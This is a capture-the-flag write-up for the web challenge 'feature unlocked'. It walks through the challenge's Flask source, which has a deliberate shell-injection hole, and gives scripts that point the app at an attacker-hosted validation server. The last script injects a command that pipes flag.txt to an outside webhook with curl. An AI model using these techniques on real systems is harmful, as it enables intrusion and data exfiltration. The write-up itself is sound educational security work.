Challenge Description
name: feature unlockedcategory: web exploitationpoints: 50solves: 184The world’s coolest app has a brand new feature! Too bad it’s not released until after the CTF..
Note: Note: The challenge deployment will automatically restart every 15 minutes.
Analysis
We’re given the following web page:

It seems that we have to unlock the new feature which is only available after the CTF ends:

We obviously can’t wait until the CTF ends, luckily for us, we’re given the source code for the application here
.├── Dockerfile├── flag.txt├── nsjail.cfg└── src    ├── app    │   ├── __init__.py    │   ├── main.py    │   ├── static    │   │   ├── css    │   │   │   ├── animations.css    │   │   │   └── styles.css    │   │   └── images    │   │       └── logo.png    │   └── templates    │       ├── base.html    │       ├── feature.html    │       ├── index.html    │       └── release.html    ├── requirements.txt    ├── run.sh    └── validation_server        └── validation.pyLooking at the Dockerfile gives:
FROM python:3.10-slim as chroot
ENV PYTHONUNBUFFERED=1
RUN apt-get update && apt-get install -y curl && apt-get clean
# create a /home/user and cd into itRUN mkdir -p /home/userWORKDIR /home/user
# copy flag and src/ to /home/userCOPY src/ flag.txt ./RUN pip install --no-cache-dir -r requirements.txt
FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f
COPY --from=chroot / /chroot
COPY nsjail.cfg /home/user/
CMD kctf_setup && \    kctf_drop_privs nsjail --config /home/user/nsjail.cfg -- /home/user/run.shThis Dockerfile builds a secure CTF challenge environment:
- Build Stage: Prepares the application by setting up Python, installing dependencies, and copying necessary files.
 - Final Stage: Uses a secure base image, copies the prepared environment, and runs the challenge inside a restricted sandbox (
nsjail). 
Let’s check the application now.
main.py
import subprocessimport base64import jsonimport timeimport requestsimport osfrom flask import Flask, request, render_template, make_response, redirect, url_forfrom Crypto.Hash import SHA256from Crypto.PublicKey import ECCfrom Crypto.Signature import DSSfrom itsdangerous import URLSafeTimedSerializer
app = Flask(__name__)app.secret_key = os.urandom(16)serializer = URLSafeTimedSerializer(app.secret_key)
DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60DEFAULT_PREFERENCES = base64.b64encode(json.dumps({    'theme': 'light',    'language': 'en'}).encode()).decode()
def get_preferences():    preferences = request.cookies.get('preferences')    if not preferences:        response = make_response(render_template(            'index.html', new_feature=False))        response.set_cookie('preferences', DEFAULT_PREFERENCES)        return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response    return json.loads(base64.b64decode(preferences)), None
@app.route('/')def index():    _, response = get_preferences()    return response if response else render_template('index.html', new_feature=False)
@app.route('/release')def release():    # we have to get a cookie named access_token    token = request.cookies.get('access_token')    if token:        try:            # when the token is loaded (from key that we don't know), it should equal access_granted            data = serializer.loads(token)            if data == 'access_granted':                return redirect(url_for('feature'))        except Exception as e:            print(f"Token validation error: {e}")
    # have to go here    validation_server = DEFAULT_VALIDATION_SERVER    if request.args.get('debug') == 'true':        preferences, _ = get_preferences()        validation_server = preferences.get(            'validation_server', DEFAULT_VALIDATION_SERVER)
    if validate_server(validation_server):        response = make_response(render_template(            'release.html', feature_unlocked=True))        # token has our desired access_granted dumped        token = serializer.dumps('access_granted')        response.set_cookie('access_token', token, httponly=True, secure=True)        # feature unlocked        return response
    return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)
@app.route('/feature', methods=['GET', 'POST'])def feature():    token = request.cookies.get('access_token')    if not token:        return redirect(url_for('index'))
    try:        data = serializer.loads(token)        if data != 'access_granted':            return redirect(url_for('index'))
        if request.method == 'POST':            # get the text from body            to_process = request.form.get('text')            try:                # RCE here                word_count = f"echo {to_process} | wc -w"                output = subprocess.check_output(                    word_count, shell=True, text=True)            except subprocess.CalledProcessError as e:                output = f"Error: {e}"            return render_template('feature.html', output=output)
        return render_template('feature.html')    except Exception as e:        print(f"Error: {e}")        return redirect(url_for('index'))
def get_pubkey(validation_server):    try:        response = requests.get(f"{validation_server}/pubkey")        response.raise_for_status()        return ECC.import_key(response.text)    except requests.RequestException as e:        raise Exception(            f"Error connecting to validation server for public key: {e}")
def validate_access(validation_server):    pubkey = get_pubkey(validation_server)    try:        response = requests.get(validation_server)        response.raise_for_status()        data = response.json()        date = data['date'].encode('utf-8')        signature = bytes.fromhex(data['signature'])        verifier = DSS.new(pubkey, 'fips-186-3')        verifier.verify(SHA256.new(date), signature)        return int(date)    except requests.RequestException as e:        raise Exception(f"Error validating access: {e}")
def validate_server(validation_server):    try:        date = validate_access(validation_server)        return date >= NEW_FEATURE_RELEASE    except Exception as e:        print(f"Error: {e}")    return False
if __name__ == '__main__':    app.run(host='0.0.0.0', port=1337)This Flask application manages feature access using a cookie-based token system. Users accessing the /release route may receive an access token if they are validated by a server. If the server’s public key verifies a valid date, the feature is unlocked, and the token is set. The /feature route allows text processing with potential Remote Code Execution (RCE) via a subprocess command. It also fetches a public key and verifies server access using digital signatures. The application defaults to a basic theme and language in user preferences, which can be updated based on cookies.
Interesting, the server uses the validation server hosted on localhost port 1338
to validate the access. Let’s check how this latter is implemented:
validation.py
from flask import Flask, jsonifyimport timefrom Crypto.Hash import SHA256from Crypto.PublicKey import ECCfrom Crypto.Signature import DSS
app = Flask(__name__)
key = ECC.generate(curve='p256')pubkey = key.public_key().export_key(format='PEM')
@app.route('/pubkey', methods=['GET'])def get_pubkey():    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])def index():    date = str(int(time.time()))    h = SHA256.new(date.encode('utf-8'))    signature = DSS.new(key, 'fips-186-3').sign(h)
    return jsonify({        'date': date,        'signature': signature.hex()    })
if __name__ == '__main__':    app.run(host='127.0.0.1', port=1338)In simple terms, this validation server helps the main application check if it should unlock features. It does this by providing a way to verify if a timestamp given by the server is genuine. When the main application asks the server, it gets a timestamp and a special code showing it’s real. The main application then uses this code to confirm that the server’s timestamp is valid before unlocking any features.
In more technical terms, the validation server returns a date which is later compared to the NEW_FEATURE_RELEASE date, if the date given by the validation server is greater than the latter, the feature is unlocked (access_granted set, by extension we get RCE)
# validate server functiondate = validate_access(validation_server)return date >= NEW_FEATURE_RELEASEHowever, the server used by the application currently doesn’t serve us well. Only if we could redirect the application onto a server of our own…
It turns out, when the debug query parameter is set to true in the /release route, the application allows overriding the default validation server with one specified in the user’s cookie preferences. If the custom server is validated successfully, it may issue an access token granting feature access. This setup could potentially be exploited if the custom validation server is not securely configured.
This is exactly what we want, we can host our own server which instead of returning
the current date, it returns a date greater that NEW_FEATURE_RELEASE. After that,
we can send a POST request to /feature with text equal to our payload which retrieves
the flag.txt file.
Exploitation
Let’s first write our own custom-validation.py server, host it and tunnel our localhost using beeceptor
custom-validation.py
from flask import Flask, jsonify, requestimport timefrom Crypto.Hash import SHA256from Crypto.PublicKey import ECCfrom Crypto.Signature import DSS
app = Flask(__name__)
# Generate a key and public keykey = ECC.generate(curve='p256')pubkey = key.public_key().export_key(format='PEM')
# ConstantsDEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
@app.route('/pubkey', methods=['GET'])def get_pubkey():    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])def index():    date = str(int(time.time()))    h = SHA256.new(date.encode('utf-8'))    signature = DSS.new(key, 'fips-186-3').sign(h)
    # Bypass validation by always returning a valid date and signature    # Ensure the date is in the future to always pass the validation    valid_date = str(int(time.time()) + 10 * 24 * 60 * 60)  # Valid for 10 days in the future    valid_signature = DSS.new(key, 'fips-186-3').sign(SHA256.new(valid_date.encode('utf-8')))
    return jsonify({        'date': valid_date,        'signature': valid_signature.hex()    })
if __name__ == '__main__':    app.run(host='127.0.0.1', port=1338)This here always returns a valid date. Let’s now create our gen.py script to get the acess_granted cookie.
gen.py
import requestsimport base64import jsonimport time
# ConfigurationBASE_URL = 'https://feature-unlocked-web.challs.csc.tf'RELEASE_ENDPOINT = '/release'PREFERENCES_COOKIE_NAME = 'preferences'DEFAULT_PREFERENCES = {    'theme': 'light',    'language': 'en',    'validation_server': 'https://<id>.free.beeceptor.com'  # This should match the modified validation server URL}
# Encode preferences as base64encoded_preferences = base64.b64encode(    json.dumps(DEFAULT_PREFERENCES).encode()).decode()
# Set the preferences cookie valuecookies = {    PREFERENCES_COOKIE_NAME: encoded_preferences}
# Make the GET request to /release with debug=trueresponse = requests.get(    f'{BASE_URL}{RELEASE_ENDPOINT}',    params={'debug': 'true'},    cookies=cookies,    allow_redirects=False  # Avoid following redirects to see the response directly)
# Print the responseprint(f"Status Code: {response.status_code}")print(f"Response Headers: {response.headers}")print(f"Response Text: {response.text}")
# If the response includes a 'Set-Cookie' header, print it to check the access_tokenif 'Set-Cookie' in response.headers:    print(f"Set-Cookie Header: {response.headers['Set-Cookie']}")Running python gen.py should give us the token

And it did! Let’s now craft another script solve.py to retrieve the flag.txt
solve.py
import requests
# Replace these values with your actual valuesaccess_token = 'ImFjY2Vzc19ncmFudGVkIg.ZtWNIQ.efPFQEBT8jNFoIlWVhjSeYC2Iuk'feature_url = 'https://feature-unlocked-web.challs.csc.tf/feature'
# Text to be sent to the /feature endpoint for word count testingtext_body = 'This; cat flag.txt | curl -X POST -d @- https://webhook.site/ea19e1c2-91bb-469b-bfd4-8f3608541e56'
# Create the headers with the access tokenheaders = {    'Cookie': f'access_token={access_token}'}
# Create the payload with the text to be processeddata = {    'text': text_body}
# Make the POST request to the /feature endpointresponse = requests.post(feature_url, headers=headers, data=data)
# Print the response from the serverprint(f"Status Code: {response.status_code}")print("Response Content:")print(response.text)Running python solve.py should send a request to our webhook, and we should see the flag there.

There we go~ flag is: CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}
From this challenge, we learned the importance of:
- Understanding Validation Mechanisms: Knowing how to manipulate and bypass validation checks can help in exploiting such features.
 - Using Debug Parameters: Identifying how debug modes or parameters can be leveraged to control or redirect application behavior.
 - Remote Code Execution (RCE): Recognizing and exploiting RCE vulnerabilities, especially in contexts where subprocess commands are involved.
 - Custom Validation Servers: Realizing the risks of trusting external or custom validation servers without proper security checks.